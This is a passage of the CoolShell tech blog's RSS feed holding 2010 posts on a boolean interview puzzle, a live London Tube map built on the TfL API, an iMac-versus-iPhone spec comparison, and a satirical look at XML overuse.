trailers</a></li>\n</ul>\n<p>如果大家也有一些相似的资源，不妨一起来分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2524.html\">几个Web的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2524.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面试题：布尔变量</title>\n\t\t<link>https://coolshell.cn/articles/2514.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2514.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 23 Jun 2010 00:50:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2514</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这篇文章是从StackOverflow来的。LZ面试的时候遇到了一道面试题：“如果有三个Bool型变量，请写出一程序得知其中有2个以上变量的值是true”，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2514.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2514.html\">面试题：布尔变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这篇文章是从<a href=\"http://stackoverflow.com/questions/3076078/check-if-at-least-2-out-of-3-booleans-is-true/\" target=\"_blank\">StackOverflow</a>来的。LZ面试的时候遇到了一道面试题：“如果有三个Bool型变量，请写出一程序得知其中有2个以上变量的值是true”，于是LZ做了下面的这样的程序：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">boolean atLeastTwo(boolean a, boolean b, boolean c) {\n    if ((a &amp;&amp; b) || (b &amp;&amp; c) || (a &amp;&amp; c)) {\n        return true;\n    } else {\n        return false;\n    }\n}</pre>\n<p>面试官接着问到，请对你的这个程序改进一下，但LZ不知道怎么改进，于是上StackOverflow上问了一下，下面是StackOverflow上的众网友的回答。再往下看的时候，希望你自己能先想一想怎么改进。</p>\n<p><span id=\"more-2514\"></span></p>\n<p>有人说，如果你有下面这样的代码？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">    if (someExpression) {\n        return true;\n    } else {\n        return false;\n    }</pre>\n<p>你应该改成：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\"> return someExpression;</code></p>\n<p>所以，LZ的代码应该写成：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">return ((a &amp;&amp; b) || (b &amp;&amp; c) || (a &amp;&amp; c));</code></p>\n<p>当然，解法不单单只有一种，还有下面的这些解决：</p>\n<p><strong>1）使用</strong><a href=\"http://en.wikipedia.org/wiki/Karnaugh_map\" target=\"_blank\"><strong>卡诺图</strong></a></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">return a ? (b || c) : (b &amp;&amp; c);</code></p>\n<p><strong>2）使用异或</strong></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">return a ^ b ? c : a</code></p>\n<p><strong>3）按照字面</strong></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">(a?1:0)+(b?1:0)+(c?1:0) &gt;= 2</code></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">a&amp;&amp;b || b&amp;&amp;c || a&amp;&amp;c</code></p>\n<p><strong>4）把Bool当成0和1</strong></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">a&amp;b | b&amp;c | c&amp;a</code></p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">a + b + c &lt;= 2</code></p>\n<p><strong>5）如果bool不能当成0和1，则：</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int howManyBooleansAreTrue =\n(a ? 1 : 0)\n+ (b ? 1 : 0)\n+ (c ? 1 : 0);\n\nreturn howManyBooleansAreTrue &gt;= 2;</pre>\n<p>欢迎你留下你的想法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg\" alt=\"面试题：火车运煤问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_title\">面试题：火车运煤问题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2514.html\">面试题：布尔变量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2514.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>53</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>伦敦地铁实时图</title>\n\t\t<link>https://coolshell.cn/articles/2520.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2520.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 23 Jun 2010 00:24:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Map]]></category>\n\t\t<category><![CDATA[TfL API]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2520</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个网站是关于伦敦地铁实时的运行图：http://traintimes.org.uk:81/map/tube/ 这是个很有意思的网站，其数据是通过伦敦政府发...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2520.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2520.html\">伦敦地铁实时图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个网站是关于伦敦地铁实时的运行图：<a href=\"http://traintimes.org.uk:81/map/tube/\">http://traintimes.org.uk:81/map/tube/</a></p>\n<p style=\"text-align: left;\">这是个很有意思的网站，其数据是通过伦敦政府发布的<a href=\"http://data.london.gov.uk/apibeta\" target=\"_blank\">TfL API</a>获得的，然后再加上Google Maps的API，于是就有了这样的一个页面。很不错哦。</p>\n<div class=\"mceTemp\" style=\"text-align: center;\">\n<dl id=\"attachment_2521\" class=\"wp-caption alignnone\" style=\"width: 567px;\">\n<dt class=\"wp-caption-dt\" style=\"text-align: center;\"><a href=\"http://traintimes.org.uk:81/map/tube/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2521\" title=\"伦敦地铁实时图\" src=\"https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map.jpg\" alt=\"\" width=\"557\" height=\"321\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map.jpg 557w, https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map-300x173.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/06/London-Live-Train-Map-469x270.jpg 469w\" sizes=\"(max-width: 557px) 100vw, 557px\" /></a></dt>\n<dd class=\"wp-caption-dd\">伦敦地铁实时图</dd>\n</dl>\n</div>\n<p style=\"text-align: left;\">\n<p>从这个事情，我们可以得到，英国的信息化的发达，首先地铁部门有实时监控的数据，然后以Web API的方式发布，从这点看来，我国的信息化水平还很差。主要是钱都投到G/F/W上去了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/install-150x150.gif\" alt=\"Eclipse开发Android应用程序入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门</a></li><li ><a href=\"https://coolshell.cn/articles/4722.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"在Web上运行Linux\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4722.html\" class=\"wp_rp_title\">在Web上运行Linux</a></li><li ><a href=\"https://coolshell.cn/articles/1256.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/photo_gimp-290x300-1-150x150.png\" alt=\"你用Linux命令行吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1256.html\" class=\"wp_rp_title\">你用Linux命令行吗？</a></li><li ><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\" alt=\"是微服务架构不香还是云不香？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_title\">是微服务架构不香还是云不香？</a></li><li ><a href=\"https://coolshell.cn/articles/3356.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"五个免费开源的数据挖掘软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3356.html\" class=\"wp_rp_title\">五个免费开源的数据挖掘软件</a></li><li ><a href=\"https://coolshell.cn/articles/990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"编程中的命名设计那点事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/990.html\" class=\"wp_rp_title\">编程中的命名设计那点事</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2520.html\">伦敦地铁实时图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2520.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>2000年的iMac和2010年的iPhone</title>\n\t\t<link>https://coolshell.cn/articles/2507.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2507.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 22 Jun 2010 00:22:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[iMac]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2507</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站发过“1980年和2009年的1GB电脑内存的比较”，下面是2000年的iMac和2010年的iPhone的比较。 2000 &#8211; iMac ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2507.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2507.html\">2000年的iMac和2010年的iPhone</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站发过“<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/410.html\" target=\"_blank\">1980年和2009年的1GB电脑内存的比较</a>”，下面是2000年的iMac和2010年的iPhone的比较。</p>\n<p><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://ecx.images-amazon.com/images/I/5176XS40F9L._SL500_AA300_.jpg\" alt=\"\" width=\"180\" height=\"180\" />2000 &#8211; iMac</strong></p>\n<p style=\"text-align: left;\">操作系统 &#8211; Mac OS 9.0.4<br />\n处理器 &#8211; 500 MHz PowerPC G3 CPU, 128MB Memory<br />\n显示卡 &#8211; ATI Rage 128 Pro, 8MB of memory (8 million triangles)<br />\n屏幕- 786K pixels<br />\n数据传输速度 &#8211; 1.3-12.5 MB/s (DVD-ROM-1/100 Ethernet)<br />\n存储设备 &#8211; 30GB Hard Drive<br />\n显示器 &#8211; 15.0 x 15.0 x 17.1 inches<br />\n重量 &#8211; 12.25公斤<br />\n<strong> </strong></p>\n<p style=\"text-align: left;\"><strong><span style=\"font-weight: normal;\"><br />\n</span></strong></p>\n<p style=\"text-align: left;\"><strong>2010 &#8211; iPhone 4</strong><br />\n<img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://t1.gstatic.com/images?q=tbn:VkjdzNuO9IeljM::&amp;t=1&amp;h=230&amp;w=219&amp;usg=__J0lvg_8oUj7dWkO_vK95Fkys1ew=\" alt=\"\" width=\"175\" height=\"184\" />操作系统 &#8211; iOS 4.0<br />\n处理器 &#8211; 1 Ghz ARM A4 CPU, 512MB Memory<br />\n显示卡 &#8211; PowerVR SGX 535, uses system memory (28 million triangles)<br />\n屏幕 &#8211; 614K pixels<br />\n数据传输速度 &#8211; .04-20MB/s (3G-WiFi)<br />\n存储设备 &#8211; 32GB Flash Drive<br />\n显示器 &#8211; 4.5 x 2.31 x .31 inches<br />\n重量 &#8211; 136克</p>\n<p>那么，2020年的产品会是怎么样的？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"10个必需的iOS开发工具和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_title\">10个必需的iOS开发工具和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li><li ><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/1-150x150.png\" alt=\"消费者的消费观\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2913.html\" class=\"wp_rp_title\">消费者的消费观</a></li><li ><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"苹果开发工具Xcode 4 第二预览版\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_title\">苹果开发工具Xcode 4 第二预览版</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2507.html\">2000年的iMac和2010年的iPhone</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2507.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>信XML，得永生！</title>\n\t\t<link>https://coolshell.cn/articles/2504.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2504.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 09 Jun 2010 00:27:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2504</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在计算机的世界里，什么最牛？Javascript？C语言？C++？iPad？还是brainfuck？我个人觉得都不是，这个世界里，XML最NB，这世界到处都充斥...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2504.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2504.html\">信XML，得永生！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在计算机的世界里，什么最牛？<a href=\"https://coolshell.cn/?tag=javascript\" target=\"_blank\">Javascript</a>？<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">C语言</a>？<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">C++</a>？<a href=\"https://coolshell.cn/articles/2086.html\" target=\"_blank\">iPad</a>？还是<a href=\"https://coolshell.cn/articles/1142.html\" target=\"_blank\">brainfuck</a>？我个人觉得都不是，这个世界里，XML最NB，这世界到处都充斥着XML，正如在“<a href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>”文中所说，我们不用XML我们都不知道怎么编程了。下面，让我们来看一看XML的几个真实的示例，相信你会同意我的观点的。</p>\n<h4>一、如何用XML返回数据库SQL查询结果</h4>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso-8859-1&quot; ?&gt;\n&lt;result&gt;\n  &lt;fields&gt;\n    &lt;field&gt;NAME&lt;/field&gt;\n    &lt;field&gt;LAST NAME&lt;/field&gt;\n    &lt;field&gt;MOTHER MAIDEN NAME&lt;/field&gt;\n    &lt;field&gt;BIRTHDATE&lt;/field&gt;\n    ...\n  &lt;/fields&gt;\n  &lt;data&gt;\n    &lt;row&gt;\n      &lt;value&gt;MARLENE&lt;/value&gt;\n      &lt;value&gt;RUTH&lt;/value&gt;\n      &lt;value&gt;DE MARCO&lt;/value&gt;\n      &lt;value&gt;1973-02-24 00:00:00&lt;/value&gt;\n      ...\n    &lt;/row&gt;\n  &lt;/data&gt;\n&lt;/result&gt;</pre>\n<p><span id=\"more-2504\"></span></p>\n<h4>二、如何用XML序列化一个图片</h4>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">&lt;attachments xmlns = &quot;http://webservices...&quot; &gt;\n  &lt;bytes&gt;37&lt;/bytes&gt;\n  &lt;bytes&gt;80&lt;/bytes&gt;\n  &lt;bytes&gt;68&lt;/bytes&gt;\n  &lt;bytes&gt;70&lt;/bytes&gt;\n  &lt;bytes&gt;45&lt;/bytes&gt;\n  &lt;bytes&gt;49&lt;/bytes&gt;\n  &lt;bytes&gt;46&lt;/bytes&gt;\n  &lt;bytes&gt;52&lt;/bytes&gt;\n  &lt;bytes&gt;10&lt;/bytes&gt;\n  &lt;bytes&gt;37&lt;/bytes&gt;\n  &lt;bytes&gt;-30&lt;/bytes&gt;\n  &lt;bytes&gt;-29&lt;/bytes&gt;\n  &lt;bytes&gt;-49&lt;/bytes&gt;\n  &lt;bytes&gt;-45&lt;/bytes&gt;\n  &lt;bytes&gt;10&lt;/bytes&gt;\n  &lt;bytes&gt;52&lt;/bytes&gt;\n  &lt;bytes&gt;32&lt;/bytes&gt;\n  &lt;bytes&gt;48&lt;/bytes&gt;\n  &lt;bytes&gt;32&lt;/bytes&gt;\n  &lt;bytes&gt;111&lt;/bytes&gt;\n  ...\n  ...\n  ...</pre>\n<h4>三、如何让XML与CSV格式兼容</h4>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">&lt;?xml version=&quot;1.0&quot; encoding=&quot;iso8859-1&quot; ?&gt;\n&lt;import tag=&quot;1stTEST&quot; type=&quot;data&quot; mode=&quot;update&quot;&gt;\n&lt;options&gt;\n    &lt;dateformat mmddyyyy=&quot;true&quot;/&gt;\n        &lt;notification&gt;\n            &lt;EMail&gt;example@example.com&lt;/EMail&gt;\n        &lt;/notification&gt;\n    &lt;/options&gt;\n    &lt;fields&gt;\n        &lt;field name=&quot;name&quot; type=&quot;char&quot; mapsto=&quot;person.data&quot;/&gt;\n        &lt;field name=&quot;officeid&quot; type=&quot;char&quot; mapsto=&quot;custom.locationid&quot;/&gt;\n        &lt;field name=&quot;startyear&quot; type=&quot;char&quot; mapsto=&quot;person.yearstarted&quot;/&gt;\n        &lt;field name=&quot;personelid&quot; type=&quot;int&quot; mapsto=&quot;person.id&quot;/&gt;\n        